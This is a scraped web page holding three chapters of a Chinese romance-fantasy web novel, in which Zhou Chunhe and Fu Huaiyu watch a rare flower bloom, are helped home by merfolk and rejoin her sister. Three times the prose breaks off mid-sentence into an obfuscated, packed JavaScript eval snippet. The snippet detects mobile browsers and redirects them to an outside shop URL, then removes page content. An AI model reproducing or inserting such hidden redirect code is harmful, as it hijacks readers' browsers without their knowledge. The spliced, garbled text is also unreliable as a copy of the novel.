“我没有将一切都付之东流。”傅怀玉却是意外认真的注视着周春和的眼睛,对上周春和不解的目光,他一字一句地说,“我还有它。” 傅怀玉指着乾坤袋里的折腰花示意周春和看,周春和看过去,折腰花花苞饱满,似乎下一刻就要绽放。 周春和一怔,就听见傅怀玉继续说:“如果我没猜错的话,折腰花今晚就会盛开。你不觉得我们很幸运么?你和我都醒着,我们有火、有光,暂时没有其他危险,而你刚刚醒过来,这一觉睡得特别好,所以晚上熬夜也没有关系,我们正好赶上了一朵花开的时间……春和,你和我都还好好的活着,我们还可以欣赏这多漂亮的花,你不觉得这已经是最幸运的事情了么?” 周春和愣了。 傅怀玉继续微笑道:“我确实很喜欢这些 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他们依偎在一起,谁也不觉得困倦,更不觉得无聊,都期待的看着乾坤袋中那朵含苞待放的折腰花,期待着看到花开时的场景。傅怀玉腾出一只手轻轻帮周春和按压后背,缓解她久坐的疲劳。 他们靠在一起说话,像是怕惊扰到折腰花,所以把声音压得很小,就像是在窃窃私语。 周春和问:“今日那个鲛人来了吗?” “来过了,它又拿来了一个贝壳,像昨天一样,贝壳里放着已经处理好的鱼肉。你刚刚睡着了,我就没弄那鱼肉,如果你想吃,一会儿我便帮你烤了吃。” “好,不过我现在还不饿,而且也没什么胃口,等看完花开再烤鱼吧。你也别动了,我想和你挨着,我喜欢这种感觉。” “好。” “不过话又说回来,那个鲛人没和你表示什么吗?比如打手势质问你怎么来到这个地方之类的?” “没有,它看起来很拘谨,把东西放到岸上就离开了。我走过去的时候,它早就已经消失不见了。” “和那次我遇见鲛人的情况差不多,看来这还是个内向的鲛人呢。下次咱们就守在岸边,我就不信还不能拦住那个鲛人,和它打手势交流一下了。”周春和说着,动了动身子,“把肩膀也按按。” 傅怀玉忍不住笑了,依言按了按周春和的肩膀:“是这里吗?” “对,一会儿再按按背。” “好啊。不过说起来,我倒是听说过鲛人族的一个习俗。” “哦?鲛人族的习俗?说来听听。” “传闻说鲛人身上有一种名叫‘长相思’的鳞片,这个鳞片在靠近鲛人心口的位置,一生只会长一片。而鲛人一旦爱上了某个人,便会将长相思拔下来,在里面滴上心爱之人的血。若是恰好这两人相爱,那么它们就会各自在自己的长相思上滴上对方的血,两片长相思便可以合二为一,逐渐变成一个眼睛大小的会发光的珠子,鲛人给它取名叫‘鳞珠’,而这两人也会长相厮守,在天则是比翼鸟,在地同为连理枝,生生世世永不相离。听起来是不是很美好?” 周春和果然被吸引了注意力:“……两个长相思可以合成一个鳞珠?竟然这么神奇吗?那你有没有见过这种鳞珠?” 傅怀玉摇了摇头:“鲛人一族神出鬼没,常常在深海中生存,寻常时很难见到它们的踪影,是以我也一直无缘得见。” 周春和顿时有些失望,不过想了想,很快又释怀了:“算了,世界上我们没有见过的东西多了去了,也不差这一个。” 傅怀玉听着也忍不住笑了:“是啊。世界上的奇闻异事那么多,这短短的一生哪里看得完。” 两个人小声的交谈,不时的伴随着周春和清脆的笑声,夜色逐渐深了下来。 66. 枇杷府 周春和刚刚睡饱,所以一点儿也不觉得困。直到夜已经很深了,她看起来依然还是很有精神的模样。 她和傅怀玉一边暖洋洋的烤着火,一边天南海北的聊着天。两个人靠在一起,身体离得特别近,心仿佛也贴得特别近。 这时候,傅怀玉忽然出言提醒:“花要开了。” 周春和下意识地顺着傅怀玉的声音看向折腰花,只见折腰花的花苞已经膨的很大,看起来仿佛下一秒就会盛开。周春和立刻专注的盯着折腰花看起来,片刻后,果然如傅怀玉所说,花苞上面撕开了一个尖尖,紧接着,折腰花的花瓣轻轻舒展开来,粉白渐变的花瓣如同一只只展翅欲飞的蝴蝶,以花蕊为中心,朝四处散开。花瓣微微颤抖,如同蝴蝶翅膀轻颤。随着花瓣次第舒展开,一股清幽的香味也传了出来。 周春和忍不住凑近嗅了嗅,花香扑鼻,醉人心脾。 两个人眼睛一眨不眨的盯着折腰花,连呼吸都下意识地放缓了,像是生怕打破这样一副如画般的画面。 周春和心想,这折腰花果然名不虚传,果然是令人见之折腰。 只不过折腰花漂亮虽漂亮,可开花时间极短,只维持了不到半个时辰,花朵便枯萎了。 周春和有些遗憾的开了口:“折腰花开花的时间竟然这么短么?我总觉得还没看够呢,这花就败了。” 傅怀玉微微笑了笑:“是啊,折腰花花开时名动京城,花败时便是如此的零落潦草。而且一株折腰花这一生只开一次,败了之后,不出一日,花茎便会腐败干枯,随着花一起枯死。” 周春和一时间有些不忍:“那也太可惜了。” 傅怀玉却是没什么表情的将花从乾坤袋里拔起来,然后用符纸抽干花的汁液,将干花扔进火堆里。火舌迅速将干花舔食干净,刹那间花瓣便消失干净。傅怀玉淡淡地说:“没什么值得可惜的,生前受人追捧,死后物尽其用,总比潦草一生来的值得。” 那朵折腰花很快化为灰烬,两个人也就没再继续坐着看乾坤袋。 傅怀玉问周春和:“想吃烤鱼吗?” 周春和打了个哈欠:“算了,也没什么胃口了,明天再吃吧。”说着她又忍不住伸了个懒腰,自言自语道,“我不是才刚睡醒了吗?隔了没一会儿怎么又觉得有点困了……” 傅怀玉忍不住笑了笑:“既然困了就先去睡吧,明日我帮你做鱼吃。” 周春和眼睛一下子亮起来——这种困了就睡,睡醒就有人给她做吃的的生活简直就是她梦寐以求的咸鱼生活,她立刻热切的和傅怀玉说:“好啊好啊,傅怀玉,我就知道还是你最善解人意!” 傅怀玉笑着将自己的外袍脱下铺在火堆旁,等周春和躺下了,又仔细地帮她贴上退烧地药膏,然后把周春和自己地外衣仔细给她盖好,看着她被火光照亮的脸庞,温柔的笑道:“睡吧。” 周春和打了个哈欠,却不肯立刻就睡觉:“傅怀玉,你给我讲个故事呗。” “好啊,你想听什么?” “都行,最近时兴什么话本子?你给我讲个话本子吧。” “我想想……最近好像流行温润如玉的公子和古灵精怪大小姐的话本。一般这样的话本子里还会配上一个男配角,这种男配角比女主年纪小,一般是那种看似少年感十足,实则是个怪胎的男配角。你刚看话本子的时候,或许会被这种人吸引视线,觉得这个人物很青春洋溢,但是相处久了就会发现他是个睚眦必报的小人,表面上笑得再天真,实则改不了骨子里的冷漠,说不定什么时候就会在背后给人致命一击,万万不可深交。而那个温润如玉的公子才是最适合女主角的,也是她最值得托付终身的人。” 周春和听着忍不住在心里嘀咕道,这个配角的人设竟然还怪像谢斯年,难道书里也流行这种腹黑竹马弟弟的人设吗?但她嘴上只简短的说:“好啊,那你就给我讲这个吧。” 傅怀玉有一副好嗓子,说起话来的时候如潺潺流水,又如玉珠落玉盘,语速不快不慢,语气温和,语调舒适,听的周春和的眉心都舒展开。 等女孩睡着之后,傅怀玉便停住话音。他靠近女孩给她掖了掖身上的衣角,又摸了摸女孩的体温。 好在温度已经降下来不少,明日估计就可以完全好了。但他迟迟不舍得将手放下,他感受着女孩柔嫩的皮肤和额间温热的触感,有什么东西再次占据他的心神。女孩翻了个身,却是睡得更熟了。他收回手,看着女孩毫无防备的模样,从前在无人处翻涌过无数次的念头此刻再次不可控制的涌现。 好想把她藏起来啊,藏到一个没有人知道的地方,藏到一个只有他和她的小世界里。他会在周围建起坚不可摧的屏障,没有人能打扰他们,没有任何人可以破坏他和周春和的生活。 以后再也没有人能伤害周春和,除了他之外,其他人都不该再靠近周春和。他要给周春和建造一个无忧无虑的世界,他和她将会是这个世界唯一的主人。 任何想要拆散他们的人都该死。 他会给周春和想要的一切,周春和喜欢吃东西,那他就每天做好吃的给她吃,周春和喜欢玩,那他可以做各式各样时兴的玩意而哄她开心……只要周春和永远不会离开她,他可以满足周春和任何的愿望。只要周春和一辈子和他呆在一起,他什么都愿意付出。 看着周春和睡熟的模样,傅怀玉微不可察的叹了口气,可惜还是不能啊。他好像永远都没有办法按照自己的心意做自己想做的事情。 他看着周春和睡熟的模样,轻轻的抚摸她的额头,动作温柔至极,可心里却在想,周春和身边每天都围着那么多人,这些人离她那么近,近的让傅怀玉嫉妒,让傅怀玉咬牙的同时,却又不得不以笑脸相迎。 可即便是再渴望、再怨恨,傅怀玉不会在周春和露出这样阴暗的一面,他要在周春和面前维持那种周春和喜欢的温和、游刃有余的模样,他要牢牢拴住周春和的心,不管是以什么样的形象。 在他察觉到周春和喜欢这样的他之后,他便决定了以后要永远戴着这个面具示人。 他的声音很低,是和同周春和说话时完全不同的声调,像是在幽怨的述衷肠,温柔的语气之下是令人毛骨悚然的偏执和阴湿:“……若是你的身边只有我就好了。” · 第二日,周春和醒过来的时候已经日上三竿。 洞内的火堆早已经熄灭,只剩下一堆燃尽后的灰烬。周春和四处看了看,面前放着昨日鲛人给的贝壳,里面的鱼肉已经烤过了,只不过可能是放的时间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16623995|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 太久,鱼肉已经凉了。 周春和额头上那些草药贴已经全部都被摘了下来,她伸了个懒腰,顿时感觉通体舒畅,身体无比轻盈。她自己摸了摸自己的额头,果然已经完全退烧了。 周春和睡得神清气爽,爬起来边叫傅怀玉边从洞内走了出来。 傅怀玉正在外面的岸边,他面前放着一块完整的木板,看起来像是哪个船只的甲板碎片。 这块木板浮力很好,完全可以当作木筏使用。 周春和立刻想到了用这个木板当船,这样他们就可以尽早的离开这个鸟不拉屎的地方了。 周春和满脸欣喜的走过去,语气难掩激动:“这是从哪里弄来的?” 傅怀玉见她脸上的洋溢笑容,眸子里似乎闪过一丝什么难言的情绪,但很快就恢复如初,没让周春和看出半分端倪。他轻声笑道:“哦,我一醒来边发现这个木板搁浅在岸边,大概是那个鲛人送来的吧。” 周春和走过去将那块木板来来回回完完整整的看过一遍,很快便兴奋的笑道:“太好了,这块木板非常完整……只是怎么不见那个鲛人?”她嘟囔着,“我还想看看能不能和它们交流一下,问问王宽冬的事情呢。我现在越来越觉得王宽冬不是表面上看起来的那么和善,而这些鲛人也和他口中说的那种凶神恶煞的模样完全不同。” 傅怀玉点了点头:“不错,我同姑娘是一样的想法。只可惜鲛人没有办法口吐人言,不然我们便可以尽早问个清楚。” 周春和叹了口气,但她转念一想,又自我开解道:“没关系,鲛人这边找不到突破点的话,那我们可等回去去王宽冬那里找找有没有什么线索,如果真有什么阴谋诡计的话,不可能不留下一点痕迹。” 顿了顿,周春和的情绪又变得高昂起来:“那咱们现在赶紧看看这木板能不能用吧。” 傅怀玉垂下眼皮,兴致缺缺的模样:“好啊。” 两个人简单试了一下,这木板可以撑住两个人的重量,只是他们还缺一个木浆,要不然借着风力很难顺利抵达对岸。 可现在周春和一刻也不想等了,按照她的意思,可以随便找个轻薄一点的石头当桨用。傅怀玉却劝住了她:“只是石头到底笨重了些,而且你到现在为止还什么都没有吃,一会儿很快就会力竭的。马上就到中午了,到时候日头正烈,我们在湖中无处可避,还很容易中暑。不如这样,我们先暂时再休息片刻,你去吃点东西补充体力,我在外面打磨船桨,等挨过了太阳最炽的时候,咱们再启航,如何?” 虽然周春和已经急不可耐,但她也知道傅怀玉说的有道理,便只好耐着性子答应下来。 两个人按照傅怀玉说的一个准备路上的行李用具,一个便将石头打磨的更薄,好一会儿可以直接做桨。 不知不觉间,两个人就靠在一起边聊天边配合着磨石头。 和傅怀玉呆在一起似乎总是会静心凝气,周春和原本还异常激动,和傅怀玉聊了会天之后,也就逐渐平静下来。 到了下午太阳不那么火热的时候,两个人终于准备好启程了。 周春和先坐在了木板上,回头正要招呼傅怀玉上来,忽然感觉到有什么东西自水中越起,紧接着,一个湿哒哒的东西搭在了她的手背上。 67. 枇杷府 周春和全无防备,还被吓了一大跳。转过头看时,才发现搭在她手上的原来是一个爬满青苔的木浆。 这木浆应该是废弃不用很久的,水渍已经洇透了桨上的每条裂缝,但起码没坏,比那个石头还是趁手多了。 周春和的视线顺着木浆下移,看到了给她木浆的人——是她第一次见到的那个鲛人。 这次鲛人没有再害羞的躲开,或许是看他们就要离开了,又或许是经过短暂的相处,发现他们两个不是坏人,因此也就放下了戒备。 周春和一直都想着看能不能和鲛人交流,自然不会放过这个好机会,她有些急切的用手朝那鲛人比划着什么,可是鲛人只是睁大眼睛,一脸疑惑的看着她。 比划半天,一人一鱼实在是不知道对方再说什么,周春和只好泄气的放下手臂。 那个鲛人似乎感觉到了周春和的沮丧,也看出来周春和是怀着善意想和它对话的。它想了想,忽然一跃钻进了水底,周春和慌乱的“哎”了一声,还以为那鲛人又离开了,谁知道片刻后,那鲛人又钻了出来。 这次它手里多了个东西,它将东西放到了周春和的手边,用眼神无声的催促周春和将东西收起来。 周春和定睛一看,原来那是个勺子似的东西,不知道是用什么做的,看起来像磁石,又像是陶瓷,反正沉甸甸的,不过倒是还算小巧。周春和犹豫了一下,回过头见傅怀玉没有阻止的意思,也就放心的将东西收下了。 鲛人朝周春和发出“咿咿呀呀”的奇怪音节,可惜周春和一点也没听懂。那鲛人便又有些焦急的比划了几下,这次周春和终于看懂了,鲛人让她随身带着这个东西,后半段周春和没看懂,连猜带蒙了一顿,那鲛人似乎是在告诉周春和拿着这些东西就能知道她想知道的一切。 周春和将信将疑的打手势和鲛人确认了一遍,那鲛人坚定的朝她点了点头,确定了周春和理解的没错。周春和还想问出更多的信息,只可惜他们的语言实在是太不相通,两个人竭尽所能地朝对方比划半天,结果最后竹篮打水一场空,谁也没弄明白对方再说什么。 那鲛人也意识到了自己已经把最重要的话传给了周春和,再交流下去也说不出什么来了,也就没继续耽误周春和的时间。鲛人很快朝他们摆了摆手,然后往远处游了游,避开他们前行的道路,示意他们可以就此离开了。 周春和踌躇了一下,也知道有些事情不是自己努力就可以成功的,就像是现在,即便是她再努力想和鲛人交流,也只能是白费力气而已。她有些遗憾的朝那个鲛人挥了挥手,大声道:“……那我们走啦——你要保重——” 明知道鲛人听不明白,可周春和还是固执的又重复了一遍。 谁知道出乎意料的事情发生了——原本那个鲛人只是呆呆地在一边看着他们动作,但是忽然之间,它似乎听懂了周春和的话,忽然模仿周春和做了“拜拜”的动作。下一秒,周春和听见它发出的不太标准的语言:“保重——” 鲛人说起话来不伦不类,而且重音也不对,声音更是有种撕破纱布般的粗糙感,只能勉强听出是什么意思,可这已经是鲛人能发出的最标准的声音了。 周春和心里说不上来是什么感觉,她没想到自己竟然会有一天被不是同类的鲛人感动到。她又朝鲛人大喊了一声“再见”,在心里默默的保证一定要查清事情的真相。 她心里的天平此刻已经完全偏向了鲛人。她知道这里面一定有隐情,而她一定要替这些鲛人找到隐藏在王宽冬话语里的真相。 周春和和傅怀玉很快就稳稳当当的坐在了这个简易的小船上,他们一个用石头做的“浆”,一个用鲛人送来的桨,很快拨开层层水波往前划去。 虽然傅怀玉把最好用的木浆给了周春和,而且让周春和坐在后面这个相对好划一点的位置,但周春和毕竟是第一次划,一开始还觉得非常吃力,等熟悉了之后,才觉得顺手了一点。 划着划着,周春和回头一看,那个鲛人已经消失不见,不知道什么时候离开了。 周春和叹息一声,一时间只觉得惆怅无比,只不过这口气还没舒完,忽然感觉到身下木板的移动速度变快了——而且大有越来越快的趋势。这绝不是他们两个人可以划出来的速度。 周春和福至心灵的回头一看,刚刚那个鲛人从湖中露出半张脸,正从水下推着他们的小木船前行,辅助他们往回家的方向移动。 周春和张了张嘴,很快第二个、第三个、第四个……五六个鲛人如雨后春笋般纷纷从湖面冒出头,将原本就不大的小木板挤得满满当当。它们如同一个个外挂马达,推着小木船平稳快速的往前走。 周春和愣住了,看着那一张张不属于自己同族的陌生脸庞,一时间不知道该说什么。 但是好像也没必要说什么了,因为他们虽然不能交流,但是心里似乎都能感觉到彼此的心意,有些话尽在不言中。 周春和心里无比感动的同时,也一下子就有了干劲,她拿起木浆一鼓作气,开始拼命的往前划。 有了鲛人的帮助,原本一个时辰的路程被压缩到了不到半个时辰。等隐约可以看见岸边的时候,那些鲛人便停住了,它们不再往前,只是漂浮在原来的位置静静的目送周春和和傅怀玉离开。 等周春和成功上了岸,它们才齐刷刷的转身跃进了海底,一下子就不见了踪影,只能看见好几个水纹一圈圈扩散开来。 周春和收了木板,将板子先搁在一边。她循着记忆里的路线往王宽冬的府里走去,一路上都在忐忑周夏莲现在怎么样了。 来到熟悉的府前,周春和敲了敲门,跟门子说自己是从前的客人,还报上了自己的名字。那门子进去了一会儿,很快就又出来了,不过他不是一个人出来的,身边还跟着两个人——一脸憔悴的周夏莲和虽然看似面无表情但眼底紧张的情绪还是出卖了他的谢斯年。 周夏莲一看到周春和,泪就又控制不住的一下子涌了出来。周春和心中也是百感交集,明明只是两天没见,可如今却像是隔了一个世纪一般。她看到周夏莲这副和往日完全不同的枯槁模样,不知不觉间也已经泪流满面。 周夏莲冲过来紧紧抱住周春和,力气大的仿佛是想把周春和揉进自己的身体里:“……这几日你去哪了?有没有受伤?我们找了你好几日,还以为……还以为……” 周夏莲说不出来了,一时间哽咽难奈,泪水打湿了周春和的衣襟。 周春和能想象的周夏莲这段时间的焦心和煎熬,她的鼻涕和眼泪也没把持住一起涌了出来,于是在嚎啕大哭的同时,还得留意着别把自己的鼻涕抹到了周夏莲身上。 姐妹二人拥抱了好一会儿,直到周夏莲再三确认周春和确实没受什么大伤,而且看起来依然和之前一样活蹦乱跳的时候,这才真正的松了口气。她推了周春和一巴掌,语气又爱又恨:“这几日你去哪了?既然好好的,怎么不给我们报个信?你不知道这两天快担心死我们了,谢斯年为了找你,成宿成宿的没有睡觉,连饭也不曾好好吃过,一听见有走失之人的消息,便立刻出去瞧瞧是不是你……” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16627356|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周春和闻言下意识地一偏头,看见了站在一旁一言不发的谢斯年。 谢斯年一直在看她,眼神里是自己都没有注意到的、下意识的流露出来的失而复得的欣喜表情。不过见周春和看过来,谢斯年立刻移开了视线,表情又变得似乎浑然不在意起来,仿佛从前那个急到快要发疯的人不是他一样。 周春和忍不住腹诽,躲什么躲?没想到这谢斯年还敢做不敢当了,真是个别扭小弟弟。不过她心里虽然这么想,但是嘴上自然不会就这么说。她笑眯眯的对谢斯年说道:“谢谢你啊,谢斯年。这几日让你担心了,不过现在见到我你就可以放心了,我什么事儿都没有,还好好的呢。晚上我带你去买糖吃,算是感谢你一直记挂着我。” 谢斯年移开视线,不和周春和对视,语气却逞强般做出不在意的样子:“举手之劳而已,不算什么。” 周春和想笑,正要继续说什么,傅怀玉就笑眯眯的开了口:“现在天色已晚,不如先进去吧,也好把这几日发生的事情仔细和大家说说。” 傅怀玉一打岔,周春和被转移了注意力,也就不记得自己要说什么了,她和周夏莲都点点头。周夏莲心疼的摸着周春和的胳膊说:“怎么感觉瘦了许多呢?先进去吧,这几日一定好好休息一下。” 几人便往周春和的住处走去,周春和东张西望了一下,后知后觉的发现似乎少了一个人,于是便奇道:“怎么不见裴大哥?” 提起裴瑾,周夏莲的脸色暗淡了一下,随即勉强笑道:“他……有点事情……” 周春和看周夏莲的模样,心里不禁咯噔一下——难道这几日在她不在的时候,发生了什么事情?不会吧不会吧,男主不会出啥事了吧?周春和心中慌张极了,如果男主出了问题,那么周春和的任务岂不是也完了?那么她岂不是也要跟着一起完了??! 她一下子着急起来,正要进一步追问,就听见谢斯年讥诮一声:“他啊,一大早陪着别人出去买东西了,直到现在也没有回来,也不知道是真的在买东西还是在……” 周夏莲皱了皱眉,忍不住打断了谢斯年:“好了!斯年,别再说了。”她的神色又变得无比黯然,不知道是在和谢斯年说话还是在劝自己,“……阿瑾他不是这样的人。” 谢斯年抱臂不屑的笑了一声,果然不再说话了。 周春和看着两人的光景,一个猜测逐渐浮上心头——难不成男主角现在陪的人就是那个传说中的女配陆书雪? 那岂不是糟了呀,周春和本来还想凭借自己的一己之力让陆书雪见不到裴瑾,从而扭转局势。可谁知道她上演了一出“周春和漂流记”,在荒无人烟的小岛上和傅怀玉绝地求生,她自己都自身难保了,哪里还顾得上陆书雪和裴瑾的事?? 不过她也真是没想到,就趁着自己不在的这两天,陆书雪也能钻空子见到裴瑾……现在看来,陆书雪已经喜欢上了裴瑾,而且陆书雪也看出来裴瑾喜欢周夏莲,这是故意在刺激周夏莲呢。 没想到啊没想到,这个陆书雪果然是个腹黑小绿茶! 估计现在这个小腹黑不知道在哪个犄角旮旯拖时间,想让周夏莲和裴瑾离心呢……实在是可恶啊可恶。陆书雪喜欢谁她完全不在意,但陆书雪现在把主意打到了自己的任务对象上,那真是叔可忍婶不可忍了。 周春和心里对这种自己成功路上的绊脚石十分憎恨,她悄悄在心里发誓,不管是为了她姐姐周夏莲的幸福还是为了自己任务,她都势必要和这位传闻中邪恶度仅次于她的女配陆书雪碰一碰! 68. 枇杷府 几个人在周春和房中坐下,周夏莲给周春和倒了杯热茶,看着她喝完之后才问周春和他们消失的这段日子去了哪里。 周春和便一五一十的将这两天的事情和周夏莲说了,只不过涉及傅怀玉的一些比较私密的事情——比如说时玄和傅怀玉打架以及二人对骂这一系列的事情周春和便找借口圆了过去,只是简略的说了说鲛人和他们后来是怎么回来的事情。 周夏莲听后久久不语,最后喃喃自语道:“……看来这个王宽冬果然有问题。” 周春和听出来周夏莲这话内有因,于是追问道:“什么叫‘果然有问题’?你们是发现什么了吗?” 周夏莲正色道:“那日和鲛人一族大战,你与傅公子消失于茫茫海面之后,我们便发了疯似地找你。王宽冬知道了便多留我们在府上住几日,说是留在这里也好寻你。不过我们都知道这只是个借口,王宽冬真正的目的还是留住我们为下次的战争做准备。不过留在王宽冬这里确实可以借着他的便利找你,再说了,府中发生的事情也让我们觉得王宽冬此人绝对没有这么简单,留在这里说不定还能找到什么蛛丝马迹,于是我们商议过后,便顺势留了下来。这几日我们在寻找你和傅公子的踪迹时,果然在府中发现了不对劲的地方。” 周春和心中一紧,立刻问:“哪里不对劲?” 周夏莲的视线变得幽深起来,回忆道:“那日我们出去找完你回来走了另外一条小道,这条小径人迹罕至,等闲时连家中的仆从也从来不经过此处。我们从枇杷林中穿了过来,可是谁知走到一半,在枇杷林深处的假山那个地方发现了一条密道……这密道极其隐蔽,若不是斯年不小心掉了东西过去弯腰捡,我们大概永远也发现不了那个以假山石壁做伪装的密道。” 周春和听到这里忍不住在心里腹诽了一下,那谢斯年可真是太“不小心”了,估计捡东西是假,想借着捡东西的名义不经意间把密道的位置暴露给周夏莲他们是真。毕竟谢斯年这竟然的观察力周春和早就有所了解,为了在周夏莲面前维持自己“手不能提肩不能扛”的柔弱形象,他才不得不出此下策。 周夏莲不知道周春和此刻心里的想法,继续说道:“我们顺着那条密道走下去,却发现这个挖密道之人不仅把入口设置的极为隐秘,而且里面也做了一定的机关。刚进去不久,就能看见三个分岔口,分别通往不同的地方,这三个分岔口肯定有一个是通往真正的密室,而另外两个……估计进去了就有来无回。我们不知道那条才是真正的道路,所以一时间根本不敢轻举妄动,又怕出来久了会被人察觉不对,便只得先退了出来从长计议。原本我们打算今日再去看看,谁知道……” 她停了停,表情有些难堪,没有继续说下去。谢斯年在一边不冷不热的笑了一声,替她继续说:“谁知道今天一早裴大哥就出去了,我们等他等了整整一日,直到现在也不见他回来,是以最后也没有去成。也不知道裴大哥究竟被哪个人绊住了脚,眼看着都要深夜了,也不见踪影,想来在外头已经流连忘返了,早忘了家里还有人在等着他。” 周夏莲皱了皱眉,似是不满谢斯年说话如此的刻薄,但她终究也没再说什么。 周春和听了一时间也有些不知道该说什么,她沉默了一会儿,转移话题道:“那不如现在咱们几个去看看吧。” 周夏莲摇了摇头:“不可,你今日刚刚回来,怎么也得休息一下才能出去活动,否则就算是去了也是力不从心。再说了,若是我们贸然过去,裴瑾回来找不到我们,恐怕又会容易生出事端,惹得鸡犬不宁。这事需得从长计议……” 周夏莲话音未落,外面忽然传来一阵少女清脆的笑声:“今日真是谢谢裴哥哥了,这个手链便送于裴哥哥吧,手链虽然不贵重,但可是我亲手做的,也算是我的一点心意。那我走啦,明日见!” 紧接着是裴瑾温和的声音:“明日见。” 周春和下意识回头看向大门,只见两个人影出现在了窗户那边,一个高挑匀称,一个窈窕翩翩。因为角度的问题,两条身影看起来像是靠得很近。 周夏莲的脸色登时就变了,她想说什么,最后什么也没说,只是勉强朝周春和笑笑:“那阿姐就不打扰你们休息了,等明日一早我再来看你。” 周春和知道她是因为裴瑾的事情伤心,虽然周春和也相信裴瑾光明磊落,不会做什么对不起周夏莲的事情,可他毕竟出去了整整一日,刚刚又和陆书雪看似“亲昵”的说了明日见——虽然裴瑾的语气寻常没有任何区别,主要是陆书雪的语气有些让人忍不住多想,所以难免有些让人心生不快。而且周春和也能猜到陆书雪是故意说的这么大声好让周夏莲听见的,但周夏莲心思敏感,即便是知道了也依然会忍不住胡思乱想。 周春和正要说什么,谁知道许久没有听到过的系统的声音就再次在脑海里响了起来:“叮咚——宿主,来喽来喽,强制性任务来喽。” 周春和:“……”这种事情就没必要用这么欢快的语气说了吧,不知道的还以为她完成了任务以后都可以躺平了呢。 周春和一脸鄙夷:“什么任务?” 系统热情洋溢的说:“这是个比较笼统的任务——就是给宿主你了一个大概方向,至于怎么完成就全看你自己了。怎么样,够自由吧?够开放吧?这个任务就是在陆书雪存在的时候,为男女主的感情保驾护航——换句话说,如果因为陆书雪而导致男女主之间有了隔阂,就需要宿主你出马哦。怎么样怎么样,听起来是不是特别简单、特别容易?嘿嘿,我就说强制性任务很简单,只是为了在大方向上纠正剧情吧,不用感谢我哦~” “……”周春和面无表情,“你知道你这句话给我一种什么感觉么?” “……什么感觉?” “给我一种千里马的感觉。” “?等等,宿主难道你想说你就是那个……” “是的,”周春和更加面无表情,“我就是那个商鞅。” 系统:“……” 那边的周夏莲说完就想离开了,周春和赶紧拉住了她,满脸堆笑:“别啊,阿姐,正好裴大哥也回来了,咱们人都齐了,现在商议那密室之事也可以,不必等到明日了。反正光商议事情也费不了多少脑子。” 周夏莲沉默了一下,很快说:“也好。” 于是周春和便高声把裴瑾叫了进来:“裴大哥,阿姐在我房里等你呢,你过来一下。” 周春和虽然是朝门口说的,但是眼神一直注意着门外两人的身影,果不其然,那条属于陆书雪的稍矮的似乎顿了顿。周春和唇边勾起一抹笑,小样,还敢在关公面前舞大刀,看我不玩死你! 裴瑾一听见“周夏莲”三个字,声音明显高昂了一些:“哎,好。我马上。”顿了顿,裴瑾似乎终于反应过来了什么,语气变得有些不可置信,“说话的可是周姑娘?你回来了?” “是啊,裴大哥,我们进来说话吧。” 外面的陆书雪似乎还想挽留,但裴瑾已经毫不犹豫的转身推门进来了,看见周春和,裴瑾顿时一脸惊喜。 周春和还不忘笑眯眯的提醒他道:“裴大哥,别忘了把门关上。” 周夏莲眼神复杂的看着周春和,周春和则安抚般的朝她一笑,于是周夏莲也勉强笑了笑,脸上的忧愁稍稍消散了些。 谢斯年则若有所思的看着周春和,就在周春和以为他又会为了这等小事生气时,谁知道就看见谢斯年什么也没说就给裴瑾让出来一个位置。这个下意识地举动似乎代表了谢斯年支持周春和的做法。 周春和一时间还真觉得有些稀奇——怎么,现在谢斯年终于看出来裴瑾和周夏莲才是真爱,于是良心发现打算不干涉人家甜蜜的爱人生活了? 啧啧啧,没想到这朵黑莲花也有从良的时候,真是稀奇啊。 裴瑾进来之后,先上下打量了一下周春和,见她好端端的不像是受伤的样子,一时间又惊喜又忍不住叹气:“周姑娘回来了?何是回来的?这几日你去哪了?你阿姐并谢公子发了疯似的找你,还好你没事。” 周春和摸了摸鼻子讪讪一笑:“裴大哥,这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635903|187135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可就说来话长了。等我一会儿仔细和你解释。” 裴瑾点了点头,然后便下意识追寻周夏莲的身影。他走到周夏莲身边,略带歉意的解释了一下:“不好意思,阿莲,让你久等了。原本我打算去买了桃木剑就回来,谁知道路上陆姑娘不知怎么的伤了脚,我带她去看郎中,郎中说敷药要敷许久,我于是便打算直接回来。可谁知道陆姑娘说她不认路,便央我等她一会儿,等结束之后带她一起回来,于是才耽搁到了现在。真是抱歉,阿莲,等你等我等这么久。” 周夏莲还没说话,谢斯年皮笑肉不笑的在一旁讥诮道:“原来是这样,我还以为你是沉溺在外面的世界里,忘了我阿姐呢。我阿姐等了你整整一日,从白天到晚上,一直担心你是不是出了什么事情。” 